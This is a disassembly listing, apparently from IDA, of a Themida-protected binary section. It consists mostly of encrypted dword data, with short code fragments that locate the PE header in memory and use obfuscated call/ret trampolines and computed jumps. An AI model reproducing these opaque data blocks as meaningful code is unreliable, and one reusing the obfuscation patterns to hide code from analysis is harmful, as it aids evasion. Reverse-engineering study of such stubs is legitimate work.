		dd 44810424h, 150424h, 57470000h, 663C93C3h, 50E1F7BBh
		dd 89D98B66h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0EBE63AC3h, 17CE747Fh, 0EA5AB5FFh
		dd 952907D4h, 7D10C65h,	2D9D95FFh, 8D8907D1h, 7D10ECDh
		dd 15D99D89h, 0BD8307D1h, 7D12809h, 57840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0D7B3C356h, 5004FA8Ah, 7E8h, 0FC5D6600h
		dd 549F3790h, 895BDA8Bh, 6A2434h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0C7E66EC3h, 21720D4Dh
		dd 0B5FFF88Ah, 7D4EA5Ah, 1B69B531h, 95FF07D1h, 7D132B5h
		dd 245DBD8Bh, 0B5FF07D1h, 7D4EA5Ah, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 6DC35646h, 616C04B9h, 0EE98Bh
		dd 29880000h, 1741ECB2h, 79849222h, 2546CE75h, 270995FFh
		dd 958907D1h, 7D115E5h,	0FC1BD83h, 0F0207D1h, 7484h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0E2A1CA07h, 9FA25E2h, 0D12B1DB5h, 89B58907h,	8B07D107h
		dd 0D11E2585h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0FD1555FAh, 850FB167h
		dd 2, 0DCB71AB3h, 0F0000C6h, 0C85h, 68B0F00h, 89000000h
		dd 0D133C5BDh, 0CD85C707h, 7D122h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 4417C353h, 9D8BBF55h, 7D11579h, 0FFF346E9h, 55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8B9CB096h, 0D11C199Dh, 5DBD8B07h, 8B07D117h,	7D9D89C1h
		dd 0BA07D10Ch, 0F0115000h, 0EA81h, 0C283F000h, 45958914h
		dd 8307D133h, 858D14EAh, 7D67857h, 35FF6450h, 0
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		call	$+5
		pop	eax
		sub	eax, edx
		and	eax, 0FFFFF000h


loc_5DDE28:				; CODE XREF: Themida_:005DDE4Aj
		cmp	word ptr [eax],	5A4Dh
		jnz	loc_5DDE45
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	loc_5DDE4F


loc_5DDE45:				; CODE XREF: Themida_:005DDE2Dj
		sub	eax, 1000h
		jmp	loc_5DDE28
; ---------------------------------------------------------------------------


loc_5DDE4F:				; CODE XREF: Themida_:005DDE3Fj
		mov	ecx, eax
		mov	[ebp+7D12D71h],	eax
		add	eax, [eax+3Ch]
		movzx	edx, word ptr [eax+6]
		mov	[ebp+7D107C5h],	edx
		mov	edx, [eax+50h]
		mov	[ebp+7D12185h],	edx
		add	eax, 0F8h
		mov	edx, [eax+0Ch]
		add	edx, ecx
		mov	[ebp+7D12D15h],	edx
		add	edx, [eax+8]
		mov	[ebp+7D12985h],	edx
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_5DDEA8
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5DDEA8:				; CODE XREF: Themida_:005DDE90j
		cmp	dword ptr [ebp+7D12AA1h], 0
		jz	loc_5DDED9
		mov	byte ptr [ebp+7D131B5h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+7D10831h]
		lea	eax, [ebp+7D4A6EAh]
		call	eax
		push	0
		call	eax
		mov	[ebp+7D11619h],	eax


loc_5DDED9:				; CODE XREF: Themida_:005DDEAFj
		mov	edx, ebx
		lea	ecx, [ebp+7D6799Ch]
		push	0
		push	ebx
		call	sub_5DDEEC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DDEEC	proc near		; CODE XREF: Themida_:005DDEE4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5DDEEC	endp

; ---------------------------------------------------------------------------
		dd 0E1577E57h, 1800Fh, 89F90000h, 0D11B518Dh, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 6C6AB5FAh, 810F898Fh, 6, 1B72EE81h, 85C77F92h, 7D12D55h
		dd 6C90h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0EBC35747h, 0D19F1AE1h,	3985C7F8h, 7D11Dh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0B976C351h, 6660607Fh, 0B589DF8Bh, 7D107C1h
		dd 0C9950B61h, 6107D121h, 1529B5FFh, 6A07D1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0C98B2AC3h
		dd 95FFF880h, 7D11801h,	91BD23F5h, 6A07D100h, 5595FF00h
		dd 8B07D100h, 621DEBC0h, 712B7DFBh, 16D20F06h, 4B467C0Ch
		dd 274C561Dh, 0D9D2B841h, 9F301120h, 0F623B197h, 7A6B8D8Dh
		dd 6A07D6h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 2D5A2EC3h, 2755B589h, 8D8907D1h, 7D11B51h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 69C35141h
		dd 360F2AE7h, 7CFC6952h, 49BD8BD6h, 0C707D107h,	0D12D5585h
		dd 660007h, 598D0100h, 0C707D128h, 0D11D3985h, 7, 0F5B5FF00h
		dd 8B07D118h, 0D1243985h, 195FF07h, 6A07D118h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0FB6C350h, 6AF2B7h, 5595FFh,	0C08B07D1h, 87D36CEBh
		dd 722CE70Bh, 4FAD12EAh, 0EDD77C8Bh, 0DA3D931Ah, 4D1D4049h
		dd 0E757545Bh, 913EB178h, 0EB942670h, 78D6925h,	4C1943A7h
		dd 0D167DDF0h, 64A20060h, 0D6105EFAh, 0F5A39068h, 0DBEA5501h
		dd 26B50EE8h, 9BF12487h, 9DAB8301h, 0F4534AC7h,	90DF648Dh
		dd 4F942D0h, 78BEF92Ch,	6089D3CEh, 5E24DE48h, 1B85661Ah
		dd 0FBA1D507h, 12E8170Ah, 1F000000h, 744D0CDDh,	8875EB84h
		dd 2A361775h, 2F8A088h,	0D9858BAAh, 5A07D131h, 2D818D8Bh
		dd 0C28107D1h, 5B65h, 0B6BFC38Bh, 9000016h, 0D12E61B5h
		dd 89328B07h, 0D11F09BDh, 6BEE8107h, 29538AF9h,	0D12D798Dh
		dd 0A4EE8107h, 813A7F3Eh, 484C3AE3h, 0C4F6815Eh, 517B2361h
		dd 16A5858Bh, 565907D1h, 52A1B966h, 7EBB028Fh, 83218E64h
		dd 14E904EAh, 0DA000000h, 5D33C453h, 0BC365167h, 0B02807B8h
		dd 5C40023Eh, 83E3A7E7h, 850F01EFh, 0FFFFFFA1h,	6E9h, 7A77A900h
		dd 0E900003Dh, 552h, 7401FF9Fh,	62EF0D87h, 51DE1075h, 3AC72564h
		dd 26B34D4Dh, 187A326Bh, 236653E0h, 365340CDh, 5E3E2BB8h
		dd 877315A2h, 0FF2FA3CAh, 4D392119h, 0E1C62260h, 21DDBB4Ah
		dd 96542F63h, 2BC1C4B1h, 82EBA894h, 421228B4h, 422F14ABh
		dd 0CFBCA840h, 0B64D32B0h, 57DB7F52h, 0D9680033h, 0C3215F4Ch
		dd 0FF93F1DEh, 0E67D6280h, 1776634Fh, 0AFA6C784h, 871E1229h
		dd 907C61F0h, 0CA64C82Ch, 71D58ECEh, 884C5D70h,	1B089775h
		dd 16BDB679h, 4337E099h, 0AB0FA644h, 0F9125C02h, 260BA276h
		dd 0B89D5B39h, 4C31CFCBh, 0FBA95803h, 5B73CC43h, 45B14864h
		dd 0D4B46B9Ah, 0FD9E8B18h, 2E13EDADh, 87730097h, 18FDFB9Ah
		dd 0F78E6C2Bh, 0E01E7B68h, 0A88B0EFBh, 4CC32ACBh, 0CEBA51F0h
		dd 0BB4AA4E1h, 93822DD6h, 7401FF9Ch, 0ACFF9B88h, 28CE7EEFh
		dd 18AF4612h, 200D9C33h, 0B39F8460h, 0CEBFF64Fh, 3CCBB7D8h
		dd 2901EB7Fh, 0C02FDA12h, 0CD82F0BFh, 55ED39h, 210F0000h
		dd 0AC998563h, 402C11EFh, 28B4EA83h, 0AC43DA12h, 0F07B381Dh
		dd 0D51228B4h, 0F5BAFB2Ah, 0CF39CD35h, 0BA49A7E2h, 1E7h
		dd 67210900h, 0DDB7A489h, 4E4D3A1Fh, 0B45FCBB0h, 0A0E2CF45h
		dd 0C8CCB948h, 0AC43BDDEh, 0A7CF331Fh, 0E8F9FF98h, 62220F9Eh
		dd 211BF986h, 0B5A28761h, 0AC381DD3h, 7F1B1201h, 8907F481h
		dd 0FC99866Bh, 3A45EEACh, 26AC1ADBh, 4429C057h,	0D9BE3C57h
		dd 6B50ACECh, 87E817C2h, 0DADB4AF5h, 39CE10E5h,	6718h
		dd 61213A00h, 453F5331h, 942BC2A7h, 402C18FDh, 28B4EA83h
		dd 0B443DA12h, 4B30CEC7h, 4EC534DFh, 0C7395E4Ch, 27B44BE2h
		dd 494A583Ah, 463318AFh, 32C4A947h, 0BE385946h,	1495842Fh
		dd 39CD34ABh, 5952h, 61217400h,	0F2AF9B87h, 1228B47Bh
		dd 0CDA05D49h, 0F71228B4h, 553AC960h, 0E8CD2B68h, 0E05F49Fh
		dd 9E7748Ch, 0A4896721h, 28B483E7h, 5E98F912h, 27088C79h
		dd 46DD37F5h, 7F64FB6Ah, 60B5701Bh, 135C3537h, 582B968h
		dd 0D86F06EBh, 199A8934h, 39CE0296h, 147h, 64216900h, 0CDB9A58Ah
		dd 0C1E4D569h, 9C5942B0h, 12297DD1h, 2B10EEABh,	8602EF94h
		dd 5744D36Ah, 1F796639h, 7E4924E1h, 177B1229h, 0B9F87E10h
		dd 0B047DEA4h, 887722CBh, 6DFAF491h, 624EB3DFh,	0FAAA09A5h
		dd 3F24BB19h, 29B63252h, 0B4A05C3Ch, 0A9620BC8h, 0FE6219FAh
		dd 480DA0A9h, 0D5C259A3h, 0C0573CB2h, 0DC8F4C31h, 4419F9EDh
		dd 0D5B36A99h, 0EB51E34Ah, 0BA51670Ch, 0A440402Dh, 9F6FD3BFh
		dd 0E4783790h, 0F974311Dh, 0CB19FAAFh, 0D8B8A534h, 472CC4C6h
		dd 0A83419B0h, 37B5CFBCh, 180EFDA8h, 0AFFE6F2Ch, 0DAC619FAh
		dd 0FAB0501Dh, 46DD7419h, 0D8CACAB7h, 69563BB9h, 0A239D02Eh
		dd 2CCAC9B6h, 9421B047h, 9F31921Dh, 1114B41h, 226D0000h
		dd 0E9D5335h, 3EF1280h,	0F9C8A846h, 0A0851C19h,	5C2D5B3h
		dd 19F9C868h, 198C3D9Dh, 18BDAE04h, 705DEA81h, 0ABC27F10h
		dd 1919F9F9h, 1906EB82h, 0C987D7Bh, 1D7BB261h, 0D4DB52DFh
		dd 9419E7Ah, 2Ch, 0EE15802Bh, 0B5084502h, 25BC9228h, 0B4EA8340h
		dd 0FEA99228h, 0E50C770Fh, 0B5113CF9h, 1CB31228h, 0A5178Fh
		dd 3E2B0000h, 3917A65Ah, 3EF1280h, 0F9E73446h, 0A05D4919h
		dd 19F9E6CDh, 2CD160F7h, 0C2A7453Fh, 0A63DB3D5h, 5F3D2A0Fh
		dd 0CBC8B5A1h, 1AE4482Dh, 6AE7CAEh, 22AF3ED5h, 78CC5735h
		dd 35B3D1DEh, 0E755B950h, 0F37A3723h, 0D119FA95h, 270CA33Ah
		dd 628CD73Bh, 9134C2E4h, 94234502h, 11FD19FAh, 94056825h
		dd 28BF19FAh, 0B99E5C3Bh, 39E89322h, 0D9668202h, 0CEBA5F4Bh
		dd 0D10FCF11h, 795EF521h, 0BF00C8Ch, 0D248B762h, 2BA3AB6Eh
		dd 52E1C73Ch, 0BEDDD6C4h, 2D6E5B40h, 0C057EED3h, 60803D29h
		dd 6429A75Eh, 226240CDh, 0A995735h, 0F6950E7Ch,	0E57C13F8h
		dd 718F0CF9h, 0A739F6E2h, 1D19FF30h, 0D4B4A186h, 0FE9E8B18h
		dd 0E9601D02h, 1454AC27h, 583BA69h, 8C0EFBE7h, 0BF88F74h
		dd 57E47389h, 0E2CE2A6Ah, 6D8B09F6h, 0AC27BDB0h, 5E1B0754h
		dd 54AC280Fh, 9A871EB5h, 8E7302FEh, 0EBAEE2A1h,	0A6927E15h
		dd 0AC2784E9h, 1AA94054h, 0B04C4835h, 42BEDECBh, 0D746F15Dh
		dd 0E1C62260h, 5F0AB34Ah, 0DD1B79B0h, 0C7256350h, 0C492F6E2h
		dd 807E1973h, 0B7A0049Bh, 6E82069Ch, 3D048D7h, 0F2000000h
		dd 7D21E4C2h, 0D3B19E83h, 46433015h, 0B3D6C3A8h, 2F6B583Dh
		dd 83FFECD1h, 0F4938065h, 632411F6h, 0D9BBA88Dh, 556F3E23h
		dd 0C5815D54h, 4, 8704ED83h, 815C242Ch,	4ECh, 242C8900h
		dd 1C4A68h, 24348900h, 0D67B8268h, 0F5685D07h, 8900001Ch
		dd 4812424h, 424h, 3B685E00h, 8900003Fh, 468F242Ch, 24348B08h
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 8B5C2434h
; ---------------------------------------------------------------------------
		sub	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		xlat
		cmp	al, 18h
		dec	ecx
		mov	eax, 7D6805Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 13h
		dd 0F74FBA4Ch, 5E41EB65h, 0B4B23E0h, 2C63F098h,	0D657E056h
		dd 6C280AEBh, 5B0D9897h, 5549ADA6h, 8C2C393Fh, 171C2D94h
		dd 0C7392B4Ah, 24711AD9h, 3162A70Ah, 0C1078814h, 336EACEDh
		dd 0C86196EFh, 4A2EB23Ah, 5E1B85DBh, 6052D089h,	0D72D33F3h
		dd 0B16B7E8Eh, 6332C0EFh, 0F3D8ACFh, 4921708Dh,	63221B4Fh
		dd 0E75E2E17h, 0E8308565h, 8, 410219A1h, 0F13D88CDh, 0CA9B14B9h
		dd 81F55E08h, 5E31C6h, 68D0F00h, 0F000000h, 81h, 0BA73BA00h
		dd 0F2811650h, 1650AD13h, 5E8h,	0C3AF3200h, 0B9660196h
		dd 8B58ACBDh, 0AD4AB83Eh, 0C7812960h, 55057AF6h, 0F0D08166h
		dd 0EAC78174h, 0F1CD9B1h, 0F781DBB7h, 16149FEh,	3E89A9B7h
		dd 83CBB70Fh, 6E802EEh,	9B000000h, 24728E31h, 5840FB2h
		dd 66000000h, 0D052C081h, 604E4E59h, 0CE9h, 8E7EDC00h
		dd 20DEEC21h, 951F952Ch, 3810F00h, 80000000h, 4A6107C2h
		dd 0FF99850Fh, 0EE9FFFFh, 86000000h, 80646015h,	5B53FFC9h
		dd 883A64E2h, 0AF8D8DD0h, 0FC07D682h, 1B518D89h, 20B807D1h
		dd 0C72D39EDh, 0D12D5585h, 61D807h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 8AA75889h
		dd 0E2C4542Ah, 0B70F0727h, 3985C7C6h, 7D11Dh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 89ECC352h, 0D1295D95h, 0A5B5FF07h, 6A07D128h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 36EC353h,	50B99139h, 95FF47C2h, 7D11801h
		dd 2CF99D33h, 6A07D1h, 5595FFh,	0C08B07D1h, 0FDC51DEBh
		dd 97CD9657h, 79EAA3CFh, 9F4505E3h, 54C19852h, 66265235h
		dd 1BC3A259h, 0DEBECC55h, 0D4D4712Ah, 1DC4B46h,	0D4C8557Fh
		dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 32491786h
		dd 0FFB44E60h, 0F867A5E4h, 0A1492E02h, 0F572A3BEh, 796721E7h
		dd 0F17DA3BAh, 0D71B21E2h, 32490C92h, 831D2933h, 0C0982633h
		dd 701AC7B6h, 0D6157634h, 0AE4EA4E0h, 310DD963h, 839FF716h
		dd 35982664h, 1F152359h, 4A4EA4D0h, 751DAB63h, 39FF0B1h
		dd 9A25B3CCh, 149321E2h, 6AA1A23Ch, 0B0152633h,	9D4EA4D0h
		dd 4DAACE63h, 0F6D82633h, 0D171A3BEh, 24C821E5h, 21AC5B6h
		dd 0FF677634h, 32492686h, 1794E2B0h, 9B1AC5B6h,	23157634h
		dd 544EA4E0h, 4C0DD963h, 3D9FF716h, 6A982651h, 6474AD66h
		dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch
		dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h
		dd 0E868AD03h, 5AAD63h,	0A9982C88h, 0D49BCF33h,	896F2633h
		dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh,	0D697E638h
		dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h,	9D4EA4E2h
		dd 0C99EABBEh, 932021E5h, 78000000h, 271E7FCh, 0C8D00731h
		dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 7D68406h,	84258D8Dh
		dd 0CF2B07D6h, 8B05E983h, 12E8C8h, 17DE0000h, 2316B3D9h
		dd 715D6Dh, 0BB17A04Dh,	8B05C1CBh, 8E957h, 966C0000h, 0BD939A44h
		dd 595B5AECh, 811BD89h,	0C18107D1h, 5FBCh, 33CD8589h, 0C36807D1h
		dd 66000017h, 58731DBBh, 250DB589h, 31FF07D1h, 1A758D01h
		dd 895E07D1h, 0D123319Dh, 7EE8107h, 0E928D6DAh,	0Ah, 0B55F899h
		dd 0AD11679Dh, 0EE81CF8Ch, 29EEA24Ch, 0F681D98Bh, 3F841B86h
		dd 2B514DBAh, 0BD09567Ch, 7D12AB1h, 0EF81018Fh,	7C86B754h
		dd 0E904E983h, 14h, 0DC3476E1h,	0DC6972C5h, 6102F9E8h
		dd 4BB4B241h, 3B36367Bh, 0F01E883h, 0FFFF9585h,	0CB8166FFh
		dd 0FB6C734Ah, 12060137h, 0D66FB8E0h, 0F5B6E91Fh, 0F18B3DBDh
		dd 0E80721BAh, 9E565BDAh, 0BF8D00FDh, 0FA0BD02Ah, 12060128h
		dd 5976E5CCh, 0FF7416FFh, 6D6CE825h, 10EF0E6Ah,	99300125h
		dd 16B05ED6h, 10A5852Ah, 0EE0125h, 73030125h, 0BD842C6Fh
		dd 7D367D39h, 5A494F4Ah, 0A32365E4h, 0DFA58A62h, 490BD000h
		dd 381FBCA6h, 1D0306F4h, 12812BA1h, 47C06B25h, 126002CDh
		dd 0D16D2125h, 36748878h, 36488021h, 12061A21h,	0D1564425h
		dd 779E6493h, 9AB1545Bh, 126257CCh, 82EA8A25h, 120AE875h
		dd 71BB0125h, 7187D890h, 3EF8523Ah, 483AA903h, 2E2B2C0Dh
		dd 42606BB5h, 123002CDh, 0D1402125h, 3648887Dh,	36428021h
		dd 12031521h, 0D1D14125h, 5EC10E92h, 120AFF01h,	1233E973h
		dd 4C380125h, 66855FE6h, 56870501h, 121E0501h, 44C70125h
		dd 947FFFE6h, 0DE1769C6h, 313E0B05h, 0C304E490h, 14880E22h
		dd 9B060125h, 0C321E890h, 12EB5922h, 12C3E974h,	4B400125h
		dd 5EB958E6h, 56990501h, 121B0501h, 43470125h, 4CB6B7E6h
		dd 128FE8DCh, 97100125h, 4B651E60h, 233C60A2h, 0A6590A7Ch
		dd 9920C1A6h, 0C33674B0h, 720B8A22h, 1288E9D9h,	0F2E60125h
		dd 0C99CDFBh, 9BB6E11Bh, 0C308C4A0h, 746D5922h,	1DFA49AEh
		dd 120301A3h, 2B006725h, 96CFFE13h, 12600038h, 0FA60014Fh
		dd 12180126h, 4ACF5905h, 162245ACh, 162745A4h, 1281013Ch
		dd 0A2035165h, 3F223DE4h, 123EE8E8h, 68880125h,	6AAFA426h
		dd 0F6E62DD8h, 0A39260D7h, 3E00B4ACh, 0D34306F4h, 0F3ED082Ch
		dd 9237D030h, 9717E81Ch, 120C000Eh, 0FA50014Fh,	12030126h
		dd 4C425F05h, 16E475ACh, 164445A4h, 12300131h, 20DB5763h
		dd 780D40AEh, 11EE5725h, 32030125h, 9BDFC27Bh, 93C42551h
		dd 0B642561h, 54300125h, 945AC273h, 0AC32356Dh,	9D40DF9Ah
		dd 128C0E2Ah, 11810125h, 44C06BEDh, 126002CDh, 0D16E2125h
		dd 366C887Bh, 36488021h, 12061921h, 0D1554725h,	47715583h
		dd 7558AF6h, 9167D007h,	125A04E4h, 121BE974h, 4B2C0125h
		dd 5E8F58E6h, 56820501h, 129D0501h, 43810125h, 0FE01E6E6h
		dd 0FF2B7A3Bh, 931762F3h, 120C0120h, 4B40109Bh,	823A8027h
		dd 1D0A426Eh, 12C07BA0h, 40606B25h, 123002CDh, 0D1422125h
		dd 3658887Fh, 36428021h, 12031521h, 0D1D34325h,	0CC7E674Ch
		dd 18ED8CC8h, 0FA37D068h, 12180120h, 0BA01523Ch, 30C4804Dh
		dd 48794C3Fh, 1281029Dh, 0F4416725h, 0F39F388Dh, 0FA60014Fh
		dd 12180126h, 4ACF5905h, 162245ACh, 162745A4h, 12810139h
		dd 7035165h, 5910AD69h,	0D9BBBD32h, 12180FCCh, 0C693B625h
		dd 712D310h, 0A6B2CF43h, 73B49F65h, 0FA97014Fh,	12600126h
		dd 4DF35E05h, 163C7DACh, 162845A4h, 12060139h, 6DC05662h
		dd 6D0B4EEh, 3343D6C7h,	0AFD9CACh, 0AFBD06F4h, 15CE85C5h
		dd 9A188CA8h, 66BE06F3h, 210293A6h, 0C3ABBCA0h,	0D30F2A22h
		dd 0FB6C03CCh, 12060137h, 0D66FB8E0h, 0F5B6E91Fh, 0F18B3DBDh
		dd 0E80721BAh, 0E9835BDAh, 8BA4F305h, 53006AC0h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 8B66C4B8h, 9EC38BFEh, 7F304E37h, 0FB2313DFh,	0E253E59Eh
		dd 29D5FEB5h, 0CF4B5F2Eh, 5B576CD5h, 588DD3BEh,	0A4378BCBh
		dd 7F36D2D0h, 0AB95ADFh, 0D8E16EA2h, 0EF5A9A54h, 0F733B28Dh
		dd 0A1105ADFh, 0A9B9001Ch, 0BAB15EFBh, 7F295EFBh, 0ED725ADFh
		dd 9821FB1Ch, 6F019DFh,	0F7305ACEh, 8762A156h, 0B4C96BF3h
		dd 5987DB7Ah, 799F95ACh, 0BA8DD9F2h, 0DF378BEBh, 52B353AAh
		dd 0F0E17296h, 0AB292EDFh, 45F0D18Ch, 0FE305EDCh, 6CE5DF56h
		dd 22BD5D0Eh
		dd 0D8E3BB6Fh, 0B76B8920h, 0DF79E75Ch, 8F305D0Eh, 45630AC8h
		dd 0FE305EDCh, 6CE5DF56h, 22BD5D0Eh, 0D8E38440h, 0B76B8920h
		dd 0EABDD18Ch, 0A1378BF9h, 91775466h, 783F0DD9h, 7F305AD9h
		dd 94A1DFDEh, 546B5D0Eh, 0B930301Fh, 0F7305937h, 386E7ADFh
		dd 0D944D381h, 0DA74DBDBh, 7F3046DBh, 7C661CDFh, 9BDFB474h
		dd 0D2F64332h, 90E2DAF0h, 7756C069h, 0AE303007h, 0FE305937h
		dd 0BC6B7ADFh, 9B6CD384h, 0FB74DBDBh, 0EF3046DBh, 346319DFh
		dd 76648371h, 499A9F1Bh, 3187553Ch, 0FB3F5E77h,	0BF30592Ah
		dd 0DF304937h, 0A6C7EEDFh, 0F0BE36A4h, 3677EE71h, 4DF0BE61h
		dd 4C921459h, 79B35580h, 0B6305ADFh, 0E270B62h,	0F68DD9D8h
		dd 0F7378BF5h, 0FB0ADED0h, 76615ADFh, 2F37434Ah, 0C9D905D8h
		dd 0D5305ADCh, 0DCD80DDFh, 0CF305ADFh, 7E6F9980h, 7A347EA3h
		dd 0E4347E9Bh, 0B9305ADFh, 0DE149988h, 68F5B12Bh, 0DF36D3D0h
		dd 72195ADFh, 0F0E1688Ah, 0FB175A61h, 0AB3030DDh, 0FE305937h
		dd 0BC6E7ADFh, 9B44D381h, 0FB74DBDBh, 0EF304EDBh, 34661CDFh
		dd 76E0D136h, 298F435Ah, 7B8DD3D8h, 1F378BF5h, 3450526Ah
		dd 0E265752h, 3E8DD1D8h, 96378BCAh, 91E0A5BEh, 0FED80ADFh
		dd 0DE305ADFh, 0F6689987h, 3E347E9Bh, 0CB347E9Bh, 0AF305ADFh
		dd 7234998Fh, 1EB4551Fh, 97305ADFh, 0FDD80ADFh,	5F305ADFh
		dd 36689987h, 5E347E9Bh, 0F9347E9Bh, 0B7305ADFh, 386998Fh
		dd 6E9DB97h, 7F066F8Eh,	0FE560DE7h, 98B55524h, 56305ADFh
		dd 3E10C362h, 8FB13CD8h, 0F43258DBh, 0FD33565Bh, 17ADECDFh
		dd 7F305AD1h, 0BFBD8239h, 5A76F496h, 5F7D4AE4h,	765646B2h
		dd 0F450C6E7h, 0FD30D95Ah, 0A83030DFh, 7F305937h, 7C6E7ADFh
		dd 0FB44D381h, 0CB74DBDBh, 0F7304DDBh, 38661CDFh, 0C9ACBCAAh
		dd 1632225Fh, 7F6ADFD0h, 0B7D95ADFh, 0C3305ADFh, 0B2FC386Fh
		dd 912CE085h, 0FB36225Eh, 0BCB55574h, 94305ADFh, 7CD808DFh
		dd 9F305ADFh, 566A9985h, 6E347E8Bh, 0E0347E9Bh,	0B9305ADFh
		dd 1334998Dh, 7F56292Dh, 96327F1Ch, 0BF30585Eh,	0DF304936h
		dd 120407DFh, 5F0BE76Fh, 0FDE347A9h, 77768756h,	2069B05Ch
		dd 7E315A61h, 0EE303099h, 0DF305937h, 2C697ADFh, 0D37CD386h
		dd 0DF74DBDBh, 0FD3043DBh, 3D611BDFh, 0D2805714h, 96C5C0AAh
		dd 0E19C74Ah, 0F6B5D7D8h, 0F8378E60h, 0FB305454h, 0FD39B3DFh
		dd 5A2B5ADFh, 521AC7ABh, 34385EBAh, 0E154F52h, 66E0A5D8h
		dd 262F776Ah, 0F4F0DFD8h, 0FD31BA5Bh, 0AC3030DFh, 7F305937h
		dd 7C6A7ADFh, 0FB64D385h, 0CB74DBDBh, 0F73040DBh, 386218DFh
		dd 0B706AD84h, 176F0D23h, 7F305AD4h, 214C5E96h,	25DB1946h
		dd 6E0DD664h, 0F50D3CE7h, 0ECB555DDh, 0AA305ADFh, 7F6A8B54h
		dd 42565CA7h, 3B3F2080h, 0DF305B62h, 0EF30DED0h, 76565ADFh
		dd 0F450C6E7h, 0FD303F5Ah, 0FE37B3DFh, 0B97F5ADFh, 2B6D14C4h
		dd 0DD48DA47h, 0A0B55537h, 7C305ADFh, 2A308F4Ah, 85B13CD8h
		dd 0F1F05AD9h, 7F30675Ah, 0EA3030DFh, 0DF305937h, 2C6D7ADFh
		dd 0D35CD382h, 0DF74DBDBh, 0FD3047DBh, 3D651FDFh, 0C4B799F1h
		dd 7FB6D084h, 85D9F8DDh, 6305ADEh, 0F7305AD1h, 2EDEEB97h
		dd 0AA8D22Dh, 2646E792h, 7F8E0962h, 324E5BDEh, 0B8F435Ah
		dd 0BD3030D8h, 0F7305937h, 386A7ADFh, 0D964D385h, 0DA74DBDBh
		dd 7F3046DBh, 7C6218DFh, 92BB480h, 0DE166D8Eh, 0F737B38Ch
		dd 0B7A5ADFh, 230FBE14h, 94E0A5CEh, 7CD80BDFh, 9F305ADFh
		dd 56699986h, 6E347E93h, 0EC347E9Bh, 0BA305ADFh, 0FFDD998Eh
		dd 0E1D39112h, 0BFB5D20Ch, 0BF83DED0h, 64565ADFh, 52BB611Ch
		dd 0F0E1596Eh, 0F4D8625Fh, 0FD301A5Ah, 63B5D3DFh, 0FF378BECh
		dd 0B0435FA7h, 0DF306A5Ah, 6FBEE9DFh, 0F8635DA7h, 0FB30EA5Bh
		dd 0AE3030DFh, 0FE305937h, 0BC6B7ADFh, 9B6CD384h, 0FB74DBDBh
		dd 0EF304CDBh, 346319DFh, 0F230D60Fh, 2C18736Ah, 0C6B13CD8h
		dd 0FA3F5F50h, 0BF305A8Ah, 0ED3DCF54h, 97B05D0Eh, 723F32D9h
		dd 0FB305A9Ah, 6CDFDBB9h, 86B13C00h, 7015A5D4h,	0BF306E5Ah
		dd 51803ADFh, 0C68D538Fh, 0AF378BDDh, 0FB7FB3BEh, 0FD5A5ADFh
		dd 0FE33B28Dh, 25105ADFh, 0EBB9001Ch, 9BB15EFBh, 0EF265EFBh
		dd 0A5725ADFh, 0F73E9B1Ch, 0D9DEE860h, 0FE30E2F6h, 7F5A5ADFh
		dd 0BF33B28Eh, 86105ADFh, 0A3B9031Ch, 0B3B15EFBh, 0FB275EFBh
		dd 0AC715ADFh, 0E8CE0C1Ch, 70D9AF9Fh, 8305ADFh,	0DF31E258h
